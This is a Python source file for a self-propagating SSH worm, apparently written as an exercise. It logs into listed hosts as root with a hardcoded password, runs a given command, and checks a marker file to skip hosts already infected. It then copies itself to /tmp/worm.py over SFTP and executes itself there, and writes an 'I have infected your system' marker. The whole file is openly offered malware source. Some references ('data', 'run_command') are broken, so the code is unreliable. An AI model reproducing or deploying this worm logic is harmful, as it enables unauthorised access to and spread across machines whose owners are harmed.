import os
import sys
import time
import json
import socket
import socketserver
import pathlib
import logging


import paramiko



# logging.basicConfig(level=logging.INFO)
# logger = logging.getLogger(__name__)
INFECTION_MARKER = "/tmp/WormInfectionMarker.txt"



class Worm(object):
    """
    Worm implements chain to run command trought ssh and fetch stdout.
    The worm copies itself into various folders.
    """
    def __init__(self):
        command = sys.argv[1]
        host_list = sys.argv[2].split(',')
        current_host = socket.gethostbyname(socket.gethostname())
        current_path = pathlib.Path(__file__).absolute()

        while current_host in host_list: host_list.remove(current_host)

        try:
            parent = sys.argv[3]
            with open('parent.txt', 'w') as parent_file:
                parent_file.write(parent)

        except IndexError:
            parent = None

        self.username = 'root'
        self.password = 'password'
        self.current_host = current_host
        self.host_list_str = ','.join(host_list)
        self.current_path = current_path
        self.parent = parent
        self.data = []

        self.fetch_outputs(command, host_list)

    def fetch_outputs(self, command, host_list):
        for host in host_list:
            client = self.connect_to_ssh(host, 22)
            if not client:
                continue

            infected = self.is_infected(client)
            if not infected:
                result = self.run_command(client, command)
                if self.parent:
                    print(result)
                else:
                    j = '[' + result.replace('[]', '').replace('}{', '},{').replace("'", '"') + ']'
                    d = json.loads(j)
                    data.extend(d)

                self.propagate(client, command)

            client.close()

    def connect_to_ssh(self, host, port):
        """
        Tries to connect to a SSH server
        Returns:
            True - Connection successful
            False - Something went wrong
        Args:
            host - Target machine's IP
            password - Password to use
        """

        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            print(f'Connecting to: {host}')
            client.connect(host, port, self.username, self.password, timeout=15)
            print('Successfully connected')

            return client
        except Exception as e:
            print(e)

        # except socket.error as e:
        #     print('Computer is offline or port 22 is closed')
        # except paramiko.ssh_exception.AuthenticationException:
        #     print('Wrong Password or Username')
        # except paramiko.ssh_exception.SSHException:
        #     print('No response from SSH server')
        # except:
        #     print('Unknown error')

    def run_command(self, client, command):
        """
        Runs command thought SSH
        """
        stdin, stdout, stderr = client.exec_command(command)
        result = stdout.read().decode('utf-8').replace('\n', '')

        return result

    def propagate(self, client, command):
        print('Expoiting Target System')
        with client.open_sftp() as sftp:
            sftp.put(self.current_path, '/tmp/worm.py')

        client.exec_command('chmod a+x /tmp/worm.py')
        ex_command = f'python -u /tmp/worm.py {command} {self.host_list_str} {self.current_host}'
        result = run_command(client, ex_command)

        if self.parent:
            print(result)
        else:
            j = '[' + result.replace('[]', '').replace('}{', '},{').replace("'", '"') + ']'
            d = json.loads(j)
            data.extend(d)


        self.mark_infected()
        print('Copied and executed worm into the system')

    def is_infected(self, client):
        infected = False
        try:
            with client.open_sftp() as sftp:
                sftp.stat(INFECTION_MARKER)

            infected = True
        except:
            print('This system is not infected')

        return infected

    def mark_infected(self):
        with open(INFECTION_MARKER, 'w') as marker:
            marker.write('I have infected your system')


if __name__ == '__main__':
    Worm()